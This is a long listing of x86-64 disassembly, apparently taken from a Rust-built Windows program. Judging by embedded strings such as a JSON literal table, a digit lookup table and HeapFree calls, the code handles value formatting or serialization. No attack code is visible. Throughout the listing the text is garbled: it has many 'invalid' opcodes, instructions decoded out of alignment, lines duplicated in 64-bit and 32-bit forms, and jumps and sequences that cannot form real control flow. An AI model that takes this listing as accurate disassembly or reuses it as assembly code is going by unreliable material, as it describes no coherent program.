jb case.0x140051168.316
add byte [rax], al
cmp rdx, r8
jae 0x140074d40
mov r8, rax
jmp 0x140074d67
xor eax, eax
add rsp, 0x20
pop rsi
ret
test rdx, rdx
je 0x140074e55
mov ecx, dword [rcx + 0x10]
mov rdx, qword [rcx + 0x18]
movzx r8d, word [rax + 0x272]
cmp rdx, r8
jb 0x140074d11
nop dword [rax]
invalid
mov r8, qword [rax + 0x160]
test r8, r8
je 0x140074e3b
inc r9
movzx edx, word [rax + 0x270]
mov bh, 0x90
jo case.0x140032218.538
add byte [rax], al
mov bh, 0x90
jo case.0x140032218.538
add byte [rax], al
mov rax, r8
cmp dx, word [r8 + 0x272]
jae 0x140074d40
invalid
invalid
test r9, r9
je 0x140074dad
invalid
mov r10, qword [r8 + rdx*8 + 0x280]
mov r10, qword [r8 + rdx*8 + 0x280]
xchg esp, eax
rol byte [rax + 0x4c000002], 1
mov eax, ecx
mov rax, r9
dec rax
je 0x140074da8
enter 0x2c74, 0x49
add ecx, 0xfffffffe
add r9, 0xfffffffffffffffe
mov r11, rax
and r11, 7
and ebx, 7
invalid
je case.0x1400503f2.286
invalid
xor esi, esi
nop dword [rax + rax]
add byte [rax], r8b
test byte [rdi], 0x1f
add byte [rax], r8b
add byte [rax], al
mov r10, qword [r10 + 0x278]
inc rsi
cmp r11, rsi
jne 0x140074d90
jne 0x140074d90
sub rax, rsi
cmp r9, 7
cmp ecx, 7
jae case.0x140051052.414
xor r9d, r9d
xor ecx, ecx
leave
jmp 0x140074dfe
add dword [rbp - 0x77], ecx
ret 0x48eb
xor r9d, r9d
leave
nop dword [rax]
invalid
mov r10, qword [r10 + 0x278]
xchg edx, eax
js 0x140074dc7
add byte [rax], al
mov r10, qword [r10 + 0x278]
xchg edx, eax
js 0x140074dce
add byte [rax], al
mov r10, qword [r10 + 0x278]
mov r10, qword [r10 + 0x278]
js 0x140074ddc
add byte [rax], al
mov edx, dword [rdx + 0x278]
js 0x140074ddc
add al, byte [rax]
add byte [rbp - 0x75], cl
xchg edx, eax
js 0x140074de3
invalid
add byte [rax], al
mov r10, qword [r10 + 0x278]
add al, byte [rax]
add byte [rbp - 0x75], cl
invalid
xchg edx, eax
js 0x140074dea
add byte [rax], al
mov r10, qword [r10 + 0x278]
mov edx, dword [rdx + 0x278]
add byte [rax], al
mov r10, qword [r10 + 0x278]
mov r10, qword [r10 + 0x278]
mov edx, dword [rdx + 0x278]
add al, byte [rax]
add byte [rax - 0x7d], cl
add rax, 0xfffffffffffffff8
invalid
add rax, 0xfffffffffffffff8
jne 0x140074dc0
ret 0x8d48
lea rax, [rdx + rdx*2]
lea eax, [rdx + rdx*2]
add al, 0x52
lea rax, [r8 + rax*8]
add al, 0xc0
add rax, 0x168
shl rdx, 5
add rdx, r8
mov qword [rcx + 8], r10
mov dword [rcx + 8], edx
mov qword [rcx + 0x10], 0
mov qword [rcx + 0x18], r9
add rsp, 0x20
pop rsi
ret
ret 0x894c
mov r9, r8
cmp r8, 8
jae 0x140074cb0
invalid
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e8618]
add byte [rdx + 0x2b], bh
add byte [rdx + 0x2b], bh
sub eax, dword [rax]
add byte [rax], al
add al, ch
push r10
add eax, dword [rax]
invalid
call fcn.1400aa0a0
add byte [rdi], cl
ud2
or ecx, dword [rax - 0x73]
or eax, 0x79904
lea r8, [0x1400e7c88]
mov edx, 0x2b
add byte [rax], al
invalid
add byte [rax], al
call fcn.1400aa0a0
ud2
sub rsp, 0x88
mov r9, rdx
mov rdi, rcx
mov edi, ecx
iretd
movzx eax, byte [rcx]
lea rcx, [0x1400efe94]
or eax, 0x7b001
or eax, 0x7b001
movsxd rax, dword [rcx + rax*4]
add rax, rcx
or dword [rax + 1], 0x49e0ffc8
mov eax, dword [rcx]
jmp rax
mov rax, qword [r9]
mov r15, qword [rax]
mov edi, dword [rax]
lea rsi, str.nullfalsetrue__b_f_n_r_t0123456789abcdef_____n
lea esi, str.nullfalsetrue__b_f_n_r_t0123456789abcdef_____n
xor edi, edi
lea r12, [0x1400eff9c]
lea esp, [0x1400eff9c]
lea esp, [0x1400eff9c]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140074eca
mov ch, 3
add bl, ch
invalid
add byte [rax], r8b
cmp byte [rbx + 0x10], 0x23
jne 0x140074f64
add byte [rax], al
add byte [rax], al
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov r8d, 4
mov eax, 4
mov eax, 4
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rsi
call qword [rax + 0x18]
bnd call qword [rax + 0x18]
test al, al
je 0x140075c6b
invalid
add byte [rax], al
or eax, 0x55e80000
adc byte [rax], al
add byte [rax - 0x77], cl
mov ebx, eax
add byte [rax], al
call fcn.140075f40
mov rbx, rax
mov ebx, eax
mov ebx, eax
and eax, 3
loopne 0x140074ef4
add ecx, dword [rcx + 0x63]
add al, 0x84
movsxd rax, dword [r12 + rax*4]
invalid
test byte [rcx + rax - 0x20], cl
add rax, r12
jmp rax
jae 0x140074f03
dec dword [rax - 0x75]
imul eax, dword [rdi], 0x4c
mov rcx, r14
mov rbp, qword [rbx + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x140074f2f
push rbp
add byte [rax - 0x7d], cl
jge 0x140074f1a
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
cmp qword [rbp + 0x10], 0x11
adc byte [rcx], dl
jb 0x140074f20
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, r14
call r13
dec rbx
mov rcx, qword [0x1400f91f8]
retf
xor edx, edx
mov r8, rbx
mov eax, ebx
mov eax, ebx
fadd dword [rcx - 1]
invalid
call r13
jmp 0x140074eca
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov rax, rbx
fmul dword [rax - 0x3f]
shr rax, 0x20
cmp rax, 0x23
call 0x1388a977a
and ecx, dword [rdi]
test byte [rcx - 1], ch
invalid
cmp eax, 0x23
je 0x140074eca
cmp eax, 0x28
mov rcx, rbx
jmp 0x140075d87
cmp byte [rdi + 1], 0
mov rax, qword [r9]
mov r15, qword [rax]
je 0x1400753cb
lea rbx, [0x1400e77d1]
xor edi, edi
lea r12, [0x1400eff7c]
invalid
scasd eax, dword [rdi]
invalid
add byte [rbx + rcx*4 + 0x2d], cl
jne 0x140074f45
add eax, dword [rax]
jmp 0x140074faa
add byte [rcx], dh
dec dword [rbp + rcx*4 + 0x25]
invalid
scasd eax, dword [rdi]
invalid
nop word cs:[rax + rax]
invalid
cmp byte [rsi + 0x10], 0x23
jne case.0x140074fd8.2
ret
invalid
add byte [rax], al
ret
add byte [rax], al
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov r8d, 4
and byte [r9 - 0x75], r9b
sub byte [r9 - 0x48], r8b
add al, 0
add byte [rax], al
mov rdx, rbx
call qword [rax + 0x18]
test al, al
je 0x140075c6b
invalid
call fcn.140075f40
mov rsi, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
add byte [rax - 0x77], cl
mov byte [rbx + 0x634903e0], 4
invalid
add al, 0x84
add rax, r12
invalid
add rax, r12
loopne switch.0x140074fd8
jmp rax
cmp byte [rsi + 0xf], 0x23
jne case.0x140074fd8.2
add byte [rax], al
add byte [rax], al
mov r14, qword [rsi - 1]
jbe 0x140074fe7
dec dword [rax - 0x75]
outsb dx, byte [rsi]
invalid
mov rbp, qword [rsi + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
invalid
je 0x140075013
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
cmp qword [rbp + 0x10], 0x11
jb 0x140075004
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
call r13
call rbp
ror byte [rbp - 0x77], cl
invalid
dec rsi
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call r13
jmp 0x140074faa
nop dword [rax + rax]
mov rax, rsi
shr rax, 0x20
shr eax, 0x20
call 0x1388a985a
and ecx, dword [rdi]
test byte [rcx - 1], ch
invalid
cmp rax, 0x23
je 0x140074faa
jmp 0x140075491
mov rbx, qword [r9]
mov rax, qword [rdi + 8]
test rax, rax
je case.0x140046b1e.429
cmp eax, 1
jne case.0x140068b4c.419
mov ecx, eax
neg rcx
cmovs rcx, r8
mov eax, 0x14
adc al, 0
add byte [rax], al
adc al, 0
add byte [rax], al
lea r9, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
cmp rcx, 0x2710
invalid
add byte [rax], al
invalid
jb 0x1400756d8
mov r11d, 0x14
adc al, 0
add byte [rax], al
movabs r10, 0x346dc5d63886594b
nop word cs:[rax + rax]
add byte [rax], al
mov edx, 0x3886594b
pop rcx
xchg byte [rax], bh
invalid
cmp dh, dl
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
enter 0xfffffffffffff749, 0xffffffffffffffe2
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
invalid
mov esi, ecx
sub esi, eax
add byte [rcx + 0x69c629ce], cl
invalid
imul edi, esi, 0x147b
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
invalid
sub esi, eax
out dx, eax
adc ebp, dword [rbx - 0x39]
invalid
sub esi, eax
invalid
movzx esi, si
lea rax, [r11 - 4]
cld
test byte [rcx - 0x73], 0x43
cld
movzx edi, word [r9 + rdi*2]
cmp al, 0x79
mov word [rsp + r11 + 0x3c], di
movzx esi, word [r9 + rsi*2]
movzx esi, word [rcx + rsi*2]
movzx esi, word [rcx + rsi*2]
mov bh, 0x34
jno 0x140075140
xor al, 0x71
mov word [rsp + r11 + 0x3e], si
mov dword [rsp + r11 + 0x3e], esi
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x1400750a0
jmp 0x1400756db
mov rdx, qword [rdi + 8]
mov edx, dword [rdi + 8]
mov r8, qword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
mov rcx, qword [r9]
call case.0x140076400.16
add byte [rax], al
add byte [rax], al
test rax, rax
jne 0x140075da4
invalid
cwde
or al, 0
invalid
test dword [rax + 0x3100000c], ebx
invalid
xor edi, edi
jmp 0x140075c6b
add byte [rax], al
add byte [rax], al
mov rbx, qword [rdi + 8]
mov ebx, dword [rdi + 8]
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x30], rax
and al, 0x30
sbb byte [r8 - 0x77], r9b
sbb byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
shl rax, 5
add rax, rbx
mov qword [rsp + 0x28], rax
add eax, 0x48d80148
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r9
and al, 0x20
mov rax, qword [r9]
mov eax, dword [rcx]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
mov r13, qword [rax]
lea rdi, [0x1400e77f3]
lea edi, [0x1400e77f3]
lea edi, [0x1400e77f3]
invalid
add byte [rax - 0x73], cl
xor eax, 0x7ade2
lea rsi, [0x1400eff2c]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
mov bh, 0xb2
add eax, dword [rax]
jmp 0x14007516b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp byte [r14 + 0x10], 0x23
jle case.0x140046b1e.467
and ecx, dword [rdi]
test dword [rsp + rcx], esi
add byte [rax], al
jne 0x140075d9f
mov rcx, qword [r13 + 0x20]
mov rax, qword [r13 + 0x28]
mov eax, dword [rbp + 0x28]
mov eax, dword [rbp + 0x28]
mov r8d, 1
mov eax, 1
mov rdx, rdi
call qword [rax + 0x18]
invalid
test al, al
je case.0x140032218.501
add dword [rax], eax
add al, ch
invalid
call fcn.140075f40
mov ah, 0xd
add byte [rax], al
mov r14, rax
and eax, 3
movsxd rax, dword [rsi + rax*4]
add rax, rsi
add eax, esi
add eax, esi
jmp rax
cmp byte [rsi + 0xf], 0x23
jne 0x140075d9f
test ecx, edi
stc
or eax, dword [rax]
add byte [rbp - 0x75], cl
jle 0x1400751a9
add byte [rax], al
mov r15, qword [r14 - 1]
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
mov rbp, qword [r14 + 7]
mov rcx, r15
call qword [rbp]
cmp qword [rbp + 8], 0
invalid
je 0x1400751d5
add byte [rdx + rbx + 0x48], dh
cmp qword [rbp + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400751c6
add al, 0x4d
mov edi, dword [rdi - 8]
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, r15
clc
clc
call r12
dec r14
mov rcx, qword [0x1400f91f8]
or byte [rax], al
invalid
or byte [rax], al
xor edx, edx
mov r8, r14
call r12
jmp 0x14007516b
invalid
invalid
add byte [rax], al
mov rax, r14
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
call 0x1388a9a1a
and ecx, dword [rdi]
test byte [rdx - 1], ch
invalid
cmp rax, 0x23
je 0x14007516b
jmp 0x1400752e1
add byte [rax - 0x75], cl
sbb byte [r8 - 0x77], r9b
and al, 0x28
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r9
and al, 0x20
mov rax, qword [r9]
mov qword [rsp + 0x30], rax
add dword [rax - 0x77], ecx
and al, 0x30
mov r12, qword [rax]
lea rbx, [0x1400e77f6]
invalid
add byte [rax - 0x73], cl
xor eax, 0x7acbf
invalid
add byte [rax - 0x73], cl
xor eax, 0x7acbf
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14007524b
add byte [rax], al
add byte [rcx - 0x80], al
invalid
jle 0x140075254
cmp byte [rsi + 0x10], 0x23
jne 0x140075d9f
and ecx, dword [rdi]
test dword [rbx + rcx], edx
add byte [rcx - 0x75], cl
mov rcx, qword [r12 + 0x20]
and al, 0x20
mov rax, qword [r12 + 0x28]
mov r8d, 1
sub byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov rdx, rbx
call qword [rax + 0x18]
push rax
invalid
push rax
sbb byte [rax + rax*8 + 0x98840f], al
test al, al
je 0x140075301
cwde
add byte [rax], al
invalid
test al, al
je 0x140075301
cwde
add byte [rax], al
invalid
cwde
add byte [rax], al
add al, ch
ror byte [rax + rax], cl
add byte [rcx - 0x77], cl
mov byte [rbx + 0x634803e0], 4
movsxd rax, dword [rsi + rax*4]
add rax, rsi
call fcn.140075f40
mov r14, rax
and eax, 3
movsxd rax, dword [rsi + rax*4]
add rax, rsi
jmp rax
cmp byte [rsi + 0xf], 0x23
jne 0x140075d9f
invalid
or eax, dword [rax]
add byte [rax], al
and ecx, dword [rdi]
test dword [rdi], edx
invalid
or eax, dword [rax]
add byte [rax], al
mov r15, qword [r14 - 1]
invalid
add byte [rax], al
mov r15, qword [r14 - 1]
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
mov rbp, qword [r14 + 7]
mov rcx, r15
call qword [rbp]
push rbp
invalid
push rbp
add byte [rax - 0x7d], cl
invalid
invalid
jge 0x1400752a2
invalid
cmp qword [rbp + 8], 0
je 0x1400752b7
invalid
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
sbb cl, byte [rax - 0x7d]
jge case.0x140051168.317
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x1400752a8
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
or eax, 0x83f49
xor edx, edx
ror byte [rbp - 0x77], cl
clc
mov r8, r15
call r13
dec r14
dec esi
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
invalid
call r13
jmp 0x14007524b
invalid
or byte [rdi], 0x1f
add byte [rax], r8b
add byte [rax], al
mov rax, r14
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp rax, 0x23
je 0x14007524b
and ecx, dword [rdi]
test byte [rdx - 1], ch
invalid
cmp eax, 0x28
mov rcx, r14
clc
sub byte [rcx + rcx*4 - 0xf], cl
jmp 0x140075d87
wait
or al, byte [rax]
add byte [rax - 0x7d], cl
invalid
invalid
jl case.0x14002739f.597
cmp qword [rsp + 0x30], 0
cmp dword [rsp + 0x30], 0
xor byte [rax], al
je 0x140075621
sub dword [rbx], eax
add byte [rax], al
mov al, 1
xor ecx, ecx
jmp 0x140075c86
mov sil, 1
mov r8, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
test r8, r8
test eax, eax
jne 0x140075a01
mov rax, qword [rsp + 0x30]
and al, 0x30
mov r12, qword [rax]
lea rbx, [0x1400e9693]
jb 0x140075362
invalid
invalid
jb 0x140075362
invalid
lea rsi, [0x1400efedc]
jmp case.0x140051168.320
invalid
mov ah, 0xab
stosd dword [rdi], eax
invalid
or eax, dword [rcx - 0x80]
jle 0x14007533e
cmp byte [rsi + 0x10], 0x23
jne 0x140075d9f
or al, byte [rax]
invalid
and ecx, dword [rdi]
test dword [rdx + 0xa], ebp
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rcx - 0x75], cl
mov rcx, qword [r12 + 0x20]
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
mov eax, 1
sub byte [rcx - 0x48], al
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
invalid
mov rdx, rbx
call qword [rax + 0x18]
test al, al
je case.0x1400270ad.705
add byte [rax], al
call fcn.140075f40
mov r14, rax
mov esi, eax
and eax, 3
loopne 0x140075361
loopne 0x140075361
movsxd rax, dword [rsi + rax*4]
xchg byte [rax + 1], cl
invalid
add rax, rsi
jmp rax
invalid
loopne case.0x14004e56b.347
cmp byte [rsi + 0xf], 0x23
jne 0x140075d9f
invalid
invalid
or al, byte [rax]
invalid
mov dr1, rdi
test dword [0x18d07537d], ebp
mov edi, dword [rsi - 1]
add byte [rbp - 0x75], cl
jle 0x140075375
mov r15, qword [r14 - 1]
dec dword [rcx - 0x75]
mov rbp, qword [r14 + 7]
mov rcx, r15
mov ecx, edi
outsb dx, byte [rsi]
invalid
mov ecx, edi
stc
call qword [rbp]
cmp qword [rbp + 8], 0
or byte [rax], al
add byte [rdx + rbx + 0x48], dh
je 0x1400753a1
cmp qword [rbp + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
jb 0x140075392
add al, 0x4d
mov edi, dword [rdi - 8]
jg case.0x140051052.408
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
xor edx, edx
mov r8, r15
clc
clc
call r13
dec r14
mov rcx, qword [0x1400f91f8]
or byte ds:[rax], al
or byte ds:[rax], al
or byte [rax], al
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
call r13
jmp case.0x140051168.320
cmp rax, 0x23
je case.0x140051168.320
invalid
invalid
invalid
jmp 0x1400752e1
lea rbx, [0x1400e77cc]
xor edi, edi
invalid
cli
and eax, dword [rdi]
add byte [rcx], dh
dec dword [rbp + rcx*4 + 0x25]
mov cl, 0xab
invalid
lea r12, [0x1400eff8c]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
sub eax, 0x3b026
add eax, dword [rax]
add eax, dword [rax]
jmp case.0x14004b1de.384
invalid
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
cmp byte [rsi + 0x10], 0x23
jne case.0x140074fd8.2
test dword [rbx + 0xa], esi
add byte [rax], al
jle 0x140075403
and ecx, dword [rdi]
test dword [rbx + 0xa], esi
add byte [rax], al
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
sub byte [rcx - 0x48], al
invalid
add byte [rax], al
invalid
and byte [r9 - 0x75], r9b
sub byte [r9 - 0x48], r8b
sub byte [rcx - 0x48], al
sub byte [rcx - 0x48], al
mov eax, 5
add eax, 0x48000000
mov edx, ebx
invalid
mov rdx, rbx
invalid
call qword [rax + 0x18]
test al, al
je 0x140075c6b
or byte [rax], al
invalid
test byte [rbp + 8], dl
add byte [rax], al
or byte [rax], al
add al, ch
and eax, 0x4800000b
or eax, dword [rax]
add byte [rax - 0x77], cl
invalid
call fcn.140075f40
or eax, dword [rax]
add byte [rax - 0x77], cl
mov byte [rbx + 0x634903e0], 4
add ecx, dword [rcx + 0x63]
add al, 0x84
add rax, r12
mov rsi, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
add ecx, dword [rcx + 0x63]
add al, 0x84
add rax, r12
jmp rax
cmp byte [rsi + 0xf], 0x23
jne case.0x140074fd8.2
mov r14, qword [rsi - 1]
mov rbp, qword [rsi + 7]
outsb dx, byte [rsi]
invalid
mov rcx, r14
call qword [rbp]
add byte [rax - 0x7d], cl
jge 0x14007544e
invalid
je 0x140075463
outsb dx, byte [rsi]
invalid
add byte [rax - 0x7d], cl
jge 0x14007544e
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
cmp qword [rbp + 0x10], 0x11
jb 0x140075454
mov r14, qword [r14 - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x83d9d
xor edx, edx
mov r8, r14
mov eax, esi
ror byte [rbp - 0x77], cl
invalid
mov eax, esi
call r13
dec rsi
mov rcx, qword [0x1400f91f8]
or eax, 0x83d8b
invalid
or eax, 0x83d8b
xor edx, edx
mov r8, rsi
mov eax, esi
ror byte [rcx - 0x77], cl
mov eax, esi
invalid
call r13
jmp case.0x14004b1de.384
invalid
and byte [rax - 0x7d], cl
clc
and ecx, dword [rdi]
test byte [rcx - 1], ch
invalid
imul edi, edi, 0xf883ffff
inc dword [rbx - 0x78f0d708]
clc
sub byte [rdi], cl
xchg ebx, edx
ror dword [rcx], cl
add byte [rax], al
mov eax, eax
invalid
invalid
clc
ror dword [rcx], cl
add byte [rax], al
mov eax, eax
cmp rax, 0x23
mov rcx, rsi
int1
clc
and ecx, dword [rax - 0x77]
int1
jmp 0x140075d87
add byte [rax], al
mov rcx, qword [rdi + 0x10]
mov eax, 0x14
add byte [rax], al
invalid
adc byte [rax + 0x14], bh
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
stc
adc byte [rdi], ah
cmp rcx, 0x2710
cmp ecx, 0x2710
add byte [rax], al
jb 0x140075724
add al, byte [rax]
add byte [rcx - 0x46], al
adc al, 0
add byte [rax], al
mov r10d, 0x14
movabs r8, 0x346dc5d63886594b
pop r9
pop rcx
xchg byte [rax], bh
invalid
insd dword [rdi], dx
xor al, 0x4c
lea r9, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea r9, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax - 0x77], cl
enter 0xfffffffffffff749, 0xffffffffffffffe0
mov rax, rcx
mul r8
shr rdx, 0xb
invalid
imul eax, edx, 0x2710
mov r11d, ecx
sub r11d, eax
imul esi, r11d, 0x147b
jnp 0x14007550f
add byte [rax], al
add byte [rcx - 0x77], al
retf
jnp 0x14007550f
adc al, 0
add cl, al
add byte [rax], al
shr esi, 0x13
imul eax, esi, 0x64
out dx, al
adc ebp, dword [rbx - 0x3a]
sub r11d, eax
sub r11d, eax
sub r11d, eax
movzx r11d, r11w
lea rax, [r10 - 4]
movzx esi, word [r9 + rsi*2]
movzx esi, word [rcx + rsi*2]
mov word [rsp + r10 + 0x3c], si
movzx r11d, word [r9 + r11*2]
movzx ebx, word [rcx + rbx*2]
sbb al, 0x59
mov word [rsp + r10 + 0x3e], r11w
mov dword [rsp + r10 + 0x3e], r11d
mov dword [rsp + rdx + 0x3e], ebx
mov r10, rax
cmp rcx, 0x5f5e0ff
cmp ecx, 0x5f5e0ff
cmp ecx, 0x5f5e0ff
mov rcx, rdx
mov ecx, edx
ja 0x1400754e0
jmp 0x140075727
out dx, eax
add dword [rax], eax
add dl, dh
movsd xmm0, qword [rdi + 0x10]
movsd xmm0, qword [rdi + 0x10]
ucomisd xmm0, xmm0
jp 0x140075568
movq rax, xmm0
movabs rcx, 0x7fffffffffffffff
invalid
invalid
invalid
invalid
jg case.0x140032218.515
and ecx, eax
and ecx, eax
movabs rax, 0x7ff0000000000000
add byte [rax], al
add byte [rax], al
invalid
cmp rcx, rax
jne case.0x1400270ad.713
add byte [rax], al
mov r15, qword [rbx]
mov edi, dword [rbx]
lea rsi, str.nullfalsetrue__b_f_n_r_t0123456789abcdef_____n
xor edi, edi
lea r12, [0x1400eff4c]
invalid
invalid
invalid
and al, byte [rdi]
add byte [rcx], dh
dec dword [rbp + rcx*4 + 0x25]
shr dword [rcx - 0x74b3fff9], 1
test eax, 0x8b4c0007
test eax, 0x8b4c0007
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
sub eax, 0x3ae86
jmp 0x14007558e
jne 0x140074f64
dec dword [rcx - 0x75]
and byte [r9 - 0x75], r9b
sub byte [r9 - 0x48], r8b
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov r8d, 4
add al, 0
add byte [rax], al
invalid
add al, 0
add byte [rax], al
invalid
mov rdx, rsi
mov edx, esi
call qword [rax + 0x18]
test al, al
je 0x140075c6b
call fcn.140075f40
mov rbx, rax
ret
and eax, 3
xchg ecx, eax
or dword [rax], eax
add byte [rax - 0x77], cl
ret
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
test byte [rcx + rax - 0x20], cl
add rax, r12
jmp rax
mov r14, qword [rbx - 1]
mov rbp, qword [rbx + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
jge 0x1400755e2
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
je case.0x14002f576.539
sbb cl, byte [rax - 0x7d]
jge 0x1400755f1
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x1400755e8
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
cmp al, 8
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
call r13
dec rbx
dec ebx
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call r13
invalid
jmp 0x14007558e
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
invalid
test byte [rdx - 1], dh
jb 0x140075619
invalid
invalid
jmp 0x140074f61
mov rax, qword [rsp + 0x38]
mov r13, qword [rax]
lea rdi, [0x1400e77f4]
invalid
and dword [rdi], eax
add byte [rax - 0x73], cl
xor eax, 0x7a8e5
in eax, 0xa8
invalid
invalid
invalid
add byte [rax - 0x73], cl
xor eax, 0x7a8e5
in eax, 0xa8
invalid
invalid
jmp 0x140075644
cmp byte [rsi + 0x10], 0x23
jne 0x140075d9f
test dword [rbx + 7], ebx
add byte [rax], al
and ecx, dword [rdi]
test dword [rbx + 7], ebx
add byte [rax], al
mov rcx, qword [r13 + 0x20]
mov rax, qword [r13 + 0x28]
mov r8d, 1
mov rdx, rdi
call qword [rax + 0x18]
test al, al
ror byte [rdi], 0x84
and al, byte [rsi]
add byte [rax], al
ror byte [rdi], 0x84
and al, byte [rsi]
add byte [rax], al
call fcn.140075f40
mov r14, rax
invalid
mov byte [rbx + 0x634803e0], 4
xchg byte [rax + 1], cl
invalid
and eax, 3
movsxd rax, dword [rsi + rax*4]
invalid
add al, 0x86
add rax, rsi
invalid
jmp rax
invalid
and byte [rdi], al
add byte [rax], al
mov r15, qword [r14 - 1]
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
mov rcx, r15
mov ecx, edi
stc
call qword [rbp]
cmp qword [rbp + 8], 0
or byte [rax], al
add byte [rax - 0x7d], cl
jge case.0x140074731.67
invalid
or byte [rax], al
je 0x1400756ae
cmp qword [rbp + 0x10], 0x11
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x14007569f
mov r15, qword [r15 - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rbp - 0x77], cl
clc
push rdx
cmp ecx, dword [rax]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
call r12
call rsp
dec r14
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
invalid
mov ecx, dword [0x1400f91f8]
cmp ecx, dword [rax]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
xor edx, edx
mov r8, r14
invalid
call r12
jmp 0x140075644
invalid
mov rax, r14
shr rax, 0x20
call 0x1388a9eec
and ecx, dword [rdi]
test byte [rcx - 1], dh
invalid
invalid
invalid
call 0x1388a9eec
and ecx, dword [rdi]
test byte [rcx - 1], dh
invalid
invalid
invalid
invalid
jmp 0x1400752e1
cld
invalid
dec dword [rax - 0x77]
retf 0x8348
invalid
mov rdx, rcx
cmp rdx, 0x63
cmp edx, 0x63
cmp edx, 0x63
jbe 0x14007570b
movzx ecx, dx
